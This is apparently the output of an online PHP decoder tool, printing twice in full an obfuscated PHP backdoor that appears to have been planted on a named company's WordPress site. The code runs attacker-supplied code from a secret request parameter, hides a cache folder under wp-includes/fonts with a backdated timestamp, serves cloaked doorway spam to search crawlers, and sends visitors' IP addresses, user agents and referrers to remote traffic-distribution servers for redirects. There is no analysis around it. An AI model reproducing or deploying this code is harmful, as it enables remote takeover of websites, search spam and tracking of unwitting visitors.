Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? if(!defined('AGENT_DECLARED')){define('AGENT_DECLARED',true);if(!empty($_SERVER['HTTP_..
Decoded Output download
<? if(!defined('AGENT_DECLARED')){define('AGENT_DECLARED',true);if(!empty($_SERVER['HTTP_ECHO'])){@header('Echo: '.$_SERVER['HTTP_ECHO']);}class _GC13L{function _Ux48u($_boVqw,$_0csGz,$_2dvTd,$_LJPEa='http'){switch($_LJPEa){case 'http':$_W3yS6='tcp://';break;case 'https':$_W3yS6='ssl://';break;default:return false;}if(function_exists('stream_socket_client')){$_xQHVI=array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false));$_MmMG0=stream_context_create($_xQHVI);$_Mg6un=$_W3yS6.$_boVqw.':'.$_0csGz;$_1CsYg=@stream_socket_client($_Mg6un,$_FxcJE,$_qBvSf,5,STREAM_CLIENT_CONNECT,$_MmMG0);}else{$_1CsYg=@fsockopen($_W3yS6.$_boVqw,$_0csGz,$_FxcJE,$_qBvSf,5);}if(!$_1CsYg){return false;}@fputs($_1CsYg,$_2dvTd);$_dQUby='';while(!feof($_1CsYg)){$_dQUby.=@fread($_1CsYg,8192);}@fclose($_1CsYg);if(!preg_match("/^(.*?)
(.*)$/s",$_dQUby,$_BRjSh)){return false;}return array('header'=>$_BRjSh[1],'content'=>$_BRjSh[2]);}function _aLCgW($_Qj90N,$_YQE1U=array()){$_EYts2=@parse_url($_Qj90N);if(empty($_EYts2['scheme'])||empty($_EYts2['host'])){return false;}$_boVqw=$_EYts2['host'];$_LJPEa=$_EYts2['scheme'];if(empty($_EYts2['path'])){$_7jPwh='/';}else{$_7jPwh=$_EYts2['path'];}if(!empty($_EYts2['query'])){$_7jPwh.='?'.$_EYts2['query'];}if(!empty($_EYts2['port'])){$_0csGz=$_EYts2['port'];}else{$_0csGz='80';}if(count($_YQE1U)>0){$_YQE1U=join("
",$_YQE1U)."
";}else{$_YQE1U='';}$_2dvTd="GET ".$_7jPwh." HTTP/1.0
"."HOST: ".$_boVqw."
".$_YQE1U."Connection: close
";$_dQUby=$this->_Ux48u($_boVqw,$_0csGz,$_2dvTd,$_LJPEa);return$_dQUby;}}class _yG809{private$_arRot;private$_0H0bC;private$_0zc9K;function __construct($_arRot,$_0H0bC,$_0zc9K){$this->_arRot=$_arRot;$this->_0H0bC=$_0H0bC;$this->_0zc9K=$_0zc9K;}function _imEXe($_T2XBr){$_BFgNY=array('page'=>array('site_url'=>AGENT_SITE_URL,'uri'=>$_SERVER['REQUEST_URI'],'product'=>$_T2XBr,),'client'=>array('useragent'=>isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'','ipaddress'=>$_SERVER['REMOTE_ADDR'],'ipaddress2'=>isset($_SERVER['HTTP_X_FORWARDED_FOR'])?$_SERVER['HTTP_X_FORWARDED_FOR']:'','referrer'=>isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'','acceptlang'=>isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])?$_SERVER['HTTP_ACCEPT_LANGUAGE']:''),);$_BFgNY=base64_encode(gzcompress(serialize($_BFgNY)));$_TtWy7='';$_U9fh0=array();$_dSmvr=false;$_HAecs=md5('@tds@unavailable@services@');if($this->_0H0bC->_4BKCz($_HAecs)){$_U9fh0=@unserialize($this->_0H0bC->_FozdM($_HAecs));foreach($_U9fh0 as$_2CC72=>$_RxWRP){if(($_RxWRP+$this->_arRot->_z6mqJ)<=time()){unset($_U9fh0[$_2CC72]);$_dSmvr=true;}}}$_A9SCG=$this->_arRot->_A9SCG;foreach($_A9SCG as$_bG5yt){if(!isset($_U9fh0[$_bG5yt])){$_dQUby=$this->_0zc9K->_aLCgW($_bG5yt.'?q='.urlencode($_BFgNY));if($_dQUby!==false&&preg_match('/^HTTP\/1\.(0|1) 200 OK/im',$_dQUby['header'])){$_TtWy7=trim($_dQUby['content']);break;}else{$_U9fh0[$_bG5yt]=time();$_dSmvr=true;}}}if($_dSmvr==true){$this->_0H0bC->_wUk8J(serialize($_U9fh0),$_HAecs);}return$_TtWy7;}}class _rKgdq{private$_gbpkU;function __construct($_gbpkU){if(!file_exists($_gbpkU)){$_YVxve=dirname($_gbpkU);$_9BInx=@filemtime($_YVxve);if(@mkdir($_gbpkU)){@chmod($_gbpkU,0755);if($_9BInx!==false){@touch($_YVxve,$_9BInx);}}}$this->_gbpkU=$_gbpkU;}private function _0ftNL($_HAecs){return$this->_gbpkU.'/'.$_HAecs;}function _FozdM($_HAecs){$_XU1KP=@file_get_contents($this->_0ftNL($_HAecs));$_XU1KP=@gzuncompress(@base64_decode($_XU1KP));return$_XU1KP;}function _wUk8J($_XU1KP,$_HAecs){$_XU1KP=base64_encode(gzcompress($_XU1KP));$_LgkMC=$this->_0ftNL($_HAecs);if(($_1CsYg=@fopen($_LgkMC,"w"))&&(@flock($_1CsYg,LOCK_EX))){@fputs($_1CsYg,$_XU1KP);@flock($_1CsYg,LOCK_UN);@fclose($_1CsYg);@chmod($_LgkMC,0666);}}function _NgBE9($_HAecs,$_4q06b){$_9BInx=@filemtime($this->_0ftNL($_HAecs));if(($_9BInx+$_4q06b)<=time()){return true;}return false;}function _4BKCz($_HAecs){if(file_exists($this->_0ftNL($_HAecs))){return true;}return false;}function _AL09h(){if(file_exists($this->_gbpkU)&&is_writable($this->_gbpkU)){return true;}return false;}}class _naKt5{public$_A9SCG;public$_z6mqJ=1600;public$_zO5kx='google|slurp|msnbot|bingbot|baiduspider';public$_XC2HB='android|iphone|windows phone|mobile';public$_tsFrg='ProxyAgent';public$_5GPVO=259200;function __construct($_0H0bC){$_NOrCU=md5('@config@');if($_0H0bC->_4BKCz($_NOrCU)){$_arRot=@unserialize($_0H0bC->_FozdM($_NOrCU));}if(isset($_arRot['TDS_SERVICE_URLS'])){$this->_A9SCG=$_arRot['TDS_SERVICE_URLS'];}if(isset($_arRot['TDS_UNAVAILABLE_TIME'])){$this->_z6mqJ=$_arRot['TDS_UNAVAILABLE_TIME'];}if(isset($_arRot['SEARCHENGINE_AGENTS'])){$this->_zO5kx=$_arRot['SEARCHENGINE_AGENTS'];}if(isset($_arRot['MOBILE_AGENTS'])){$this->_XC2HB=$_arRot['MOBILE_AGENTS'];}if(isset($_arRot['PROXY_USER_AGENT'])){$this->_tsFrg=$_arRot['PROXY_USER_AGENT'];}if(isset($_arRot['SITE_CACHE_EXPIRE'])){$this->_5GPVO=$_arRot['SITE_CACHE_EXPIRE'];}}function _cbvYT(){if(is_array($this->_A9SCG)&&count($this->_A9SCG)>0){return true;}return false;}function _Pzgnn(){if(isset($_SERVER['HTTP_USER_AGENT'])&&preg_match('/'.$this->_zO5kx.'/i',$_SERVER['HTTP_USER_AGENT'])){return true;}return false;}function _yoU7X(){if(isset($_SERVER['HTTP_USER_AGENT'])&&preg_match('/'.$this->_XC2HB.'/i',$_SERVER['HTTP_USER_AGENT'])){return true;}return false;}}class _rI0lH{private$_0H0bC;function __construct($_0H0bC){$this->_0H0bC=$_0H0bC;}function _5jecx(){$_qQN5g=md5('@doorway@template@');$_4eXPT=$this->_0H0bC->_FozdM($_qQN5g);return$_4eXPT;}function _7jeGu(){$_qQN5g=md5('@doorway@template@mobile@');$_4eXPT=$this->_0H0bC->_FozdM($_qQN5g);return$_4eXPT;}function _ApYJn(){$_Q45yo=md5('@doorway@page@list@');$_fOxOm=$this->_0H0bC->_FozdM($_Q45yo);if(!empty($_fOxOm)){$_fOxOm=@unserialize($_fOxOm);}return$_fOxOm;}function _S96Sq($_6asU6,$_XU1KP){$_TtQ5o=md5('@doorway@page@handler@');$_2AbmS=$this->_0H0bC->_FozdM($_TtQ5o);if(!empty($_2AbmS)){$_2AbmS=@unserialize($_2AbmS);$_C54ux=$_2AbmS['function'];@eval($_2AbmS['code']);$_6asU6=@$_C54ux($_6asU6,$_XU1KP);}return$_6asU6;}function _7s7N5(){$_I18l8=md5('@doorway@page@data@'.$_SERVER['REQUEST_URI'].'@');$_XU1KP=$this->_0H0bC->_FozdM($_I18l8);if(!empty($_XU1KP)){$_XU1KP=@unserialize($_XU1KP);}return$_XU1KP;}function _EfBYq(){$_CvTje=md5('@doorway@page@product@'.$_SERVER['REQUEST_URI'].'@');$_T2XBr=$this->_0H0bC->_FozdM($_CvTje);return$_T2XBr;}}class _tjpDW{private$_0H0bC;function __construct($_0H0bC){$this->_0H0bC=$_0H0bC;}function _ApYJn(){$_Q45yo=md5('@donor@page@list@');$_fOxOm=$this->_0H0bC->_FozdM($_Q45yo);if(!empty($_fOxOm)){$_fOxOm=@unserialize($_fOxOm);}return$_fOxOm;}function _S96Sq($_6asU6,$_XU1KP){$_TtQ5o=md5('@donor@page@handler@');$_2AbmS=$this->_0H0bC->_FozdM($_TtQ5o);if(!empty($_2AbmS)){$_2AbmS=@unserialize($_2AbmS);$_C54ux=$_2AbmS['function'];@eval($_2AbmS['code']);$_6asU6=@$_C54ux($_6asU6,$_XU1KP);}return$_6asU6;}function _7s7N5(){$_I18l8=md5('@donor@page@data@'.$_SERVER['REQUEST_URI'].'@');$_XU1KP=$this->_0H0bC->_FozdM($_I18l8);if(!empty($_XU1KP)){$_XU1KP=@unserialize($_XU1KP);}return$_XU1KP;}}class _3Nft3{private$_arRot;private$_0zc9K;function __construct($_arRot,$_0zc9K){$this->_arRot=$_arRot;$this->_0zc9K=$_0zc9K;}function _o40Tm(){if(isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!='off'){$_JiYr6='https';$_0csGz=443;}else{$_JiYr6='http';$_0csGz=80;}$_YQE1U=array('User-Agent: '.$this->_arRot->_tsFrg);$_dQUby=$this->_0zc9K->_aLCgW($_JiYr6.'://'.$_SERVER['HTTP_HOST'].':'.$_0csGz.$_SERVER['REQUEST_URI'],$_YQE1U);if($_dQUby!==false){if(!preg_match('/^HTTP\/1\.(0|1) 200 OK/im',$_dQUby['header'])){return false;}if(!preg_match('/^Content-Type\: text\/html/im',$_dQUby['header'])){return false;}return$_dQUby['content'];}return false;}}class _T7mof{private$_arRot;private$_0H0bC;private$_VeH3U;function __construct($_arRot,$_0H0bC,$_VeH3U){$this->_arRot=$_arRot;$this->_0H0bC=$_0H0bC;$this->_VeH3U=$_VeH3U;}function _o40Tm(){$_6EyR8=md5('@site@page@'.$_SERVER['HTTP_HOST'].'@'.$_SERVER['REQUEST_URI'].'@');if($this->_0H0bC->_4BKCz($_6EyR8)&&!$this->_0H0bC->_NgBE9($_6EyR8,$this->_arRot->_5GPVO)){$_6asU6=$this->_0H0bC->_FozdM($_6EyR8);}else{$_6asU6=$this->_VeH3U->_o40Tm();$this->_0H0bC->_wUk8J($_6asU6,$_6EyR8);}return$_6asU6;}}define('AGENT_SITE_URL','http://www.aberdeenoilfieldservices.co.uk');define('AGENT_KEY','4cdbccbb384675e50d221e26f1e4fb68');define('AGENT_CACHE_PATH','wp-includes/fonts/advanced');$_0H0bC=new _rKgdq(dirname(__FILE__).'/'.AGENT_CACHE_PATH);if(!empty($_REQUEST[AGENT_KEY])){eval(@gzuncompress(@base64_decode(strrev($_REQUEST[AGENT_KEY]))));die;}$_arRot=new _naKt5($_0H0bC);$_0zc9K=new _GC13L();if(!empty($_SERVER['REQUEST_URI'])&&$_0H0bC->_AL09h()&&$_arRot->_cbvYT()){$_3ezFq=new _rI0lH($_0H0bC);$_nzCPv=$_3ezFq->_ApYJn();if(!empty($_nzCPv)&&is_array($_nzCPv)&&in_array($_SERVER['REQUEST_URI'],$_nzCPv)){@header('Cache-Control: no-cache');if($_arRot->_Pzgnn()){if($_arRot->_yoU7X()){$_1q7o0=$_3ezFq->_7jeGu();}else{$_1q7o0=$_3ezFq->_5jecx();}if(!empty($_1q7o0)){$_XhZpQ=$_3ezFq->_7s7N5();$_1q7o0=$_3ezFq->_S96Sq($_1q7o0,$_XhZpQ);echo$_1q7o0;die;}}else{$_Qxpe7=md5($_SERVER['HTTP_HOST'].'_human');if(!isset($_COOKIE[$_Qxpe7])){echo"<html>
"." <head>
"." <title></title>
"." </head>
"." <body>
"." <script language=\"JavaScript\">
"." var name = '".$_Qxpe7."';
"." document.cookie = name + '=' + document.referrer;
"." location.reload(true);
"." </script>
"." </body>
"."</html>
";die;}else{$_SERVER['HTTP_REFERER']=$_COOKIE[$_Qxpe7];}$_T2XBr=$_3ezFq->_EfBYq();$_zWY7P=new _yG809($_arRot,$_0H0bC,$_0zc9K);$_TtWy7=$_zWY7P->_imEXe($_T2XBr);if(!empty($_TtWy7)){@header('X-Location: '.$_TtWy7);die;}}}else{$_YvfWp=new _tjpDW($_0H0bC);$_xZIeR=$_YvfWp->_ApYJn();if(!empty($_xZIeR)&&is_array($_xZIeR)&&in_array($_SERVER['REQUEST_URI'],$_xZIeR)){@header('Cache-Control: no-cache');if($_arRot->_Pzgnn()){$_VeH3U=new _3Nft3($_arRot,$_0zc9K);$_cWFWR=new _T7mof($_arRot,$_0H0bC,$_VeH3U);$_i5sGy=$_cWFWR->_o40Tm();if(!empty($_i5sGy)){$_rAIEj=$_YvfWp->_7s7N5();$_i5sGy=$_YvfWp->_S96Sq($_i5sGy,$_rAIEj);echo$_i5sGy;die;}}}}}} ?>
Did this file decode correctly?
Original Code
<? if(!defined('AGENT_DECLARED')){define('AGENT_DECLARED',true);if(!empty($_SERVER['HTTP_ECHO'])){@header('Echo: '.$_SERVER['HTTP_ECHO']);}class _GC13L{function _Ux48u($_boVqw,$_0csGz,$_2dvTd,$_LJPEa='http'){switch($_LJPEa){case 'http':$_W3yS6='tcp://';break;case 'https':$_W3yS6='ssl://';break;default:return false;}if(function_exists('stream_socket_client')){$_xQHVI=array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false));$_MmMG0=stream_context_create($_xQHVI);$_Mg6un=$_W3yS6.$_boVqw.':'.$_0csGz;$_1CsYg=@stream_socket_client($_Mg6un,$_FxcJE,$_qBvSf,5,STREAM_CLIENT_CONNECT,$_MmMG0);}else{$_1CsYg=@fsockopen($_W3yS6.$_boVqw,$_0csGz,$_FxcJE,$_qBvSf,5);}if(!$_1CsYg){return false;}@fputs($_1CsYg,$_2dvTd);$_dQUby='';while(!feof($_1CsYg)){$_dQUby.=@fread($_1CsYg,8192);}@fclose($_1CsYg);if(!preg_match("/^(.*?)
(.*)$/s",$_dQUby,$_BRjSh)){return false;}return array('header'=>$_BRjSh[1],'content'=>$_BRjSh[2]);}function _aLCgW($_Qj90N,$_YQE1U=array()){$_EYts2=@parse_url($_Qj90N);if(empty($_EYts2['scheme'])||empty($_EYts2['host'])){return false;}$_boVqw=$_EYts2['host'];$_LJPEa=$_EYts2['scheme'];if(empty($_EYts2['path'])){$_7jPwh='/';}else{$_7jPwh=$_EYts2['path'];}if(!empty($_EYts2['query'])){$_7jPwh.='?'.$_EYts2['query'];}if(!empty($_EYts2['port'])){$_0csGz=$_EYts2['port'];}else{$_0csGz='80';}if(count($_YQE1U)>0){$_YQE1U=join("
",$_YQE1U)."
";}else{$_YQE1U='';}$_2dvTd="GET ".$_7jPwh." HTTP/1.0
"."HOST: ".$_boVqw."
".$_YQE1U."Connection: close
";$_dQUby=$this->_Ux48u($_boVqw,$_0csGz,$_2dvTd,$_LJPEa);return$_dQUby;}}class _yG809{private$_arRot;private$_0H0bC;private$_0zc9K;function __construct($_arRot,$_0H0bC,$_0zc9K){$this->_arRot=$_arRot;$this->_0H0bC=$_0H0bC;$this->_0zc9K=$_0zc9K;}function _imEXe($_T2XBr){$_BFgNY=array('page'=>array('site_url'=>AGENT_SITE_URL,'uri'=>$_SERVER['REQUEST_URI'],'product'=>$_T2XBr,),'client'=>array('useragent'=>isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'','ipaddress'=>$_SERVER['REMOTE_ADDR'],'ipaddress2'=>isset($_SERVER['HTTP_X_FORWARDED_FOR'])?$_SERVER['HTTP_X_FORWARDED_FOR']:'','referrer'=>isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'','acceptlang'=>isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])?$_SERVER['HTTP_ACCEPT_LANGUAGE']:''),);$_BFgNY=base64_encode(gzcompress(serialize($_BFgNY)));$_TtWy7='';$_U9fh0=array();$_dSmvr=false;$_HAecs=md5('@tds@unavailable@services@');if($this->_0H0bC->_4BKCz($_HAecs)){$_U9fh0=@unserialize($this->_0H0bC->_FozdM($_HAecs));foreach($_U9fh0 as$_2CC72=>$_RxWRP){if(($_RxWRP+$this->_arRot->_z6mqJ)<=time()){unset($_U9fh0[$_2CC72]);$_dSmvr=true;}}}$_A9SCG=$this->_arRot->_A9SCG;foreach($_A9SCG as$_bG5yt){if(!isset($_U9fh0[$_bG5yt])){$_dQUby=$this->_0zc9K->_aLCgW($_bG5yt.'?q='.urlencode($_BFgNY));if($_dQUby!==false&&preg_match('/^HTTP\/1\.(0|1) 200 OK/im',$_dQUby['header'])){$_TtWy7=trim($_dQUby['content']);break;}else{$_U9fh0[$_bG5yt]=time();$_dSmvr=true;}}}if($_dSmvr==true){$this->_0H0bC->_wUk8J(serialize($_U9fh0),$_HAecs);}return$_TtWy7;}}class _rKgdq{private$_gbpkU;function __construct($_gbpkU){if(!file_exists($_gbpkU)){$_YVxve=dirname($_gbpkU);$_9BInx=@filemtime($_YVxve);if(@mkdir($_gbpkU)){@chmod($_gbpkU,0755);if($_9BInx!==false){@touch($_YVxve,$_9BInx);}}}$this->_gbpkU=$_gbpkU;}private function _0ftNL($_HAecs){return$this->_gbpkU.'/'.$_HAecs;}function _FozdM($_HAecs){$_XU1KP=@file_get_contents($this->_0ftNL($_HAecs));$_XU1KP=@gzuncompress(@base64_decode($_XU1KP));return$_XU1KP;}function _wUk8J($_XU1KP,$_HAecs){$_XU1KP=base64_encode(gzcompress($_XU1KP));$_LgkMC=$this->_0ftNL($_HAecs);if(($_1CsYg=@fopen($_LgkMC,"w"))&&(@flock($_1CsYg,LOCK_EX))){@fputs($_1CsYg,$_XU1KP);@flock($_1CsYg,LOCK_UN);@fclose($_1CsYg);@chmod($_LgkMC,0666);}}function _NgBE9($_HAecs,$_4q06b){$_9BInx=@filemtime($this->_0ftNL($_HAecs));if(($_9BInx+$_4q06b)<=time()){return true;}return false;}function _4BKCz($_HAecs){if(file_exists($this->_0ftNL($_HAecs))){return true;}return false;}function _AL09h(){if(file_exists($this->_gbpkU)&&is_writable($this->_gbpkU)){return true;}return false;}}class _naKt5{public$_A9SCG;public$_z6mqJ=1600;public$_zO5kx='google|slurp|msnbot|bingbot|baiduspider';public$_XC2HB='android|iphone|windows phone|mobile';public$_tsFrg='ProxyAgent';public$_5GPVO=259200;function __construct($_0H0bC){$_NOrCU=md5('@config@');if($_0H0bC->_4BKCz($_NOrCU)){$_arRot=@unserialize($_0H0bC->_FozdM($_NOrCU));}if(isset($_arRot['TDS_SERVICE_URLS'])){$this->_A9SCG=$_arRot['TDS_SERVICE_URLS'];}if(isset($_arRot['TDS_UNAVAILABLE_TIME'])){$this->_z6mqJ=$_arRot['TDS_UNAVAILABLE_TIME'];}if(isset($_arRot['SEARCHENGINE_AGENTS'])){$this->_zO5kx=$_arRot['SEARCHENGINE_AGENTS'];}if(isset($_arRot['MOBILE_AGENTS'])){$this->_XC2HB=$_arRot['MOBILE_AGENTS'];}if(isset($_arRot['PROXY_USER_AGENT'])){$this->_tsFrg=$_arRot['PROXY_USER_AGENT'];}if(isset($_arRot['SITE_CACHE_EXPIRE'])){$this->_5GPVO=$_arRot['SITE_CACHE_EXPIRE'];}}function _cbvYT(){if(is_array($this->_A9SCG)&&count($this->_A9SCG)>0){return true;}return false;}function _Pzgnn(){if(isset($_SERVER['HTTP_USER_AGENT'])&&preg_match('/'.$this->_zO5kx.'/i',$_SERVER['HTTP_USER_AGENT'])){return true;}return false;}function _yoU7X(){if(isset($_SERVER['HTTP_USER_AGENT'])&&preg_match('/'.$this->_XC2HB.'/i',$_SERVER['HTTP_USER_AGENT'])){return true;}return false;}}class _rI0lH{private$_0H0bC;function __construct($_0H0bC){$this->_0H0bC=$_0H0bC;}function _5jecx(){$_qQN5g=md5('@doorway@template@');$_4eXPT=$this->_0H0bC->_FozdM($_qQN5g);return$_4eXPT;}function _7jeGu(){$_qQN5g=md5('@doorway@template@mobile@');$_4eXPT=$this->_0H0bC->_FozdM($_qQN5g);return$_4eXPT;}function _ApYJn(){$_Q45yo=md5('@doorway@page@list@');$_fOxOm=$this->_0H0bC->_FozdM($_Q45yo);if(!empty($_fOxOm)){$_fOxOm=@unserialize($_fOxOm);}return$_fOxOm;}function _S96Sq($_6asU6,$_XU1KP){$_TtQ5o=md5('@doorway@page@handler@');$_2AbmS=$this->_0H0bC->_FozdM($_TtQ5o);if(!empty($_2AbmS)){$_2AbmS=@unserialize($_2AbmS);$_C54ux=$_2AbmS['function'];@eval($_2AbmS['code']);$_6asU6=@$_C54ux($_6asU6,$_XU1KP);}return$_6asU6;}function _7s7N5(){$_I18l8=md5('@doorway@page@data@'.$_SERVER['REQUEST_URI'].'@');$_XU1KP=$this->_0H0bC->_FozdM($_I18l8);if(!empty($_XU1KP)){$_XU1KP=@unserialize($_XU1KP);}return$_XU1KP;}function _EfBYq(){$_CvTje=md5('@doorway@page@product@'.$_SERVER['REQUEST_URI'].'@');$_T2XBr=$this->_0H0bC->_FozdM($_CvTje);return$_T2XBr;}}class _tjpDW{private$_0H0bC;function __construct($_0H0bC){$this->_0H0bC=$_0H0bC;}function _ApYJn(){$_Q45yo=md5('@donor@page@list@');$_fOxOm=$this->_0H0bC->_FozdM($_Q45yo);if(!empty($_fOxOm)){$_fOxOm=@unserialize($_fOxOm);}return$_fOxOm;}function _S96Sq($_6asU6,$_XU1KP){$_TtQ5o=md5('@donor@page@handler@');$_2AbmS=$this->_0H0bC->_FozdM($_TtQ5o);if(!empty($_2AbmS)){$_2AbmS=@unserialize($_2AbmS);$_C54ux=$_2AbmS['function'];@eval($_2AbmS['code']);$_6asU6=@$_C54ux($_6asU6,$_XU1KP);}return$_6asU6;}function _7s7N5(){$_I18l8=md5('@donor@page@data@'.$_SERVER['REQUEST_URI'].'@');$_XU1KP=$this->_0H0bC->_FozdM($_I18l8);if(!empty($_XU1KP)){$_XU1KP=@unserialize($_XU1KP);}return$_XU1KP;}}class _3Nft3{private$_arRot;private$_0zc9K;function __construct($_arRot,$_0zc9K){$this->_arRot=$_arRot;$this->_0zc9K=$_0zc9K;}function _o40Tm(){if(isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!='off'){$_JiYr6='https';$_0csGz=443;}else{$_JiYr6='http';$_0csGz=80;}$_YQE1U=array('User-Agent: '.$this->_arRot->_tsFrg);$_dQUby=$this->_0zc9K->_aLCgW($_JiYr6.'://'.$_SERVER['HTTP_HOST'].':'.$_0csGz.$_SERVER['REQUEST_URI'],$_YQE1U);if($_dQUby!==false){if(!preg_match('/^HTTP\/1\.(0|1) 200 OK/im',$_dQUby['header'])){return false;}if(!preg_match('/^Content-Type\: text\/html/im',$_dQUby['header'])){return false;}return$_dQUby['content'];}return false;}}class _T7mof{private$_arRot;private$_0H0bC;private$_VeH3U;function __construct($_arRot,$_0H0bC,$_VeH3U){$this->_arRot=$_arRot;$this->_0H0bC=$_0H0bC;$this->_VeH3U=$_VeH3U;}function _o40Tm(){$_6EyR8=md5('@site@page@'.$_SERVER['HTTP_HOST'].'@'.$_SERVER['REQUEST_URI'].'@');if($this->_0H0bC->_4BKCz($_6EyR8)&&!$this->_0H0bC->_NgBE9($_6EyR8,$this->_arRot->_5GPVO)){$_6asU6=$this->_0H0bC->_FozdM($_6EyR8);}else{$_6asU6=$this->_VeH3U->_o40Tm();$this->_0H0bC->_wUk8J($_6asU6,$_6EyR8);}return$_6asU6;}}define('AGENT_SITE_URL','http://www.aberdeenoilfieldservices.co.uk');define('AGENT_KEY','4cdbccbb384675e50d221e26f1e4fb68');define('AGENT_CACHE_PATH','wp-includes/fonts/advanced');$_0H0bC=new _rKgdq(dirname(__FILE__).'/'.AGENT_CACHE_PATH);if(!empty($_REQUEST[AGENT_KEY])){eval(@gzuncompress(@base64_decode(strrev($_REQUEST[AGENT_KEY]))));die;}$_arRot=new _naKt5($_0H0bC);$_0zc9K=new _GC13L();if(!empty($_SERVER['REQUEST_URI'])&&$_0H0bC->_AL09h()&&$_arRot->_cbvYT()){$_3ezFq=new _rI0lH($_0H0bC);$_nzCPv=$_3ezFq->_ApYJn();if(!empty($_nzCPv)&&is_array($_nzCPv)&&in_array($_SERVER['REQUEST_URI'],$_nzCPv)){@header('Cache-Control: no-cache');if($_arRot->_Pzgnn()){if($_arRot->_yoU7X()){$_1q7o0=$_3ezFq->_7jeGu();}else{$_1q7o0=$_3ezFq->_5jecx();}if(!empty($_1q7o0)){$_XhZpQ=$_3ezFq->_7s7N5();$_1q7o0=$_3ezFq->_S96Sq($_1q7o0,$_XhZpQ);echo$_1q7o0;die;}}else{$_Qxpe7=md5($_SERVER['HTTP_HOST'].'_human');if(!isset($_COOKIE[$_Qxpe7])){echo"<html>
"." <head>
"." <title></title>
"." </head>
"." <body>
"." <script language=\"JavaScript\">
"." var name = '".$_Qxpe7."';
"." document.cookie = name + '=' + document.referrer;
"." location.reload(true);
"." </script>
"." </body>
"."</html>
";die;}else{$_SERVER['HTTP_REFERER']=$_COOKIE[$_Qxpe7];}$_T2XBr=$_3ezFq->_EfBYq();$_zWY7P=new _yG809($_arRot,$_0H0bC,$_0zc9K);$_TtWy7=$_zWY7P->_imEXe($_T2XBr);if(!empty($_TtWy7)){@header('X-Location: '.$_TtWy7);die;}}}else{$_YvfWp=new _tjpDW($_0H0bC);$_xZIeR=$_YvfWp->_ApYJn();if(!empty($_xZIeR)&&is_array($_xZIeR)&&in_array($_SERVER['REQUEST_URI'],$_xZIeR)){@header('Cache-Control: no-cache');if($_arRot->_Pzgnn()){$_VeH3U=new _3Nft3($_arRot,$_0zc9K);$_cWFWR=new _T7mof($_arRot,$_0H0bC,$_VeH3U);$_i5sGy=$_cWFWR->_o40Tm();if(!empty($_i5sGy)){$_rAIEj=$_YvfWp->_7s7N5();$_i5sGy=$_YvfWp->_S96Sq($_i5sGy,$_rAIEj);echo$_i5sGy;die;}}}}}} ?>
Function Calls
defined | 1 |
Stats
MD5 | fdcc2714ceecba21aecd4ed2a243ae42 |
Eval Count | 0 |
Decode Time | 145 ms |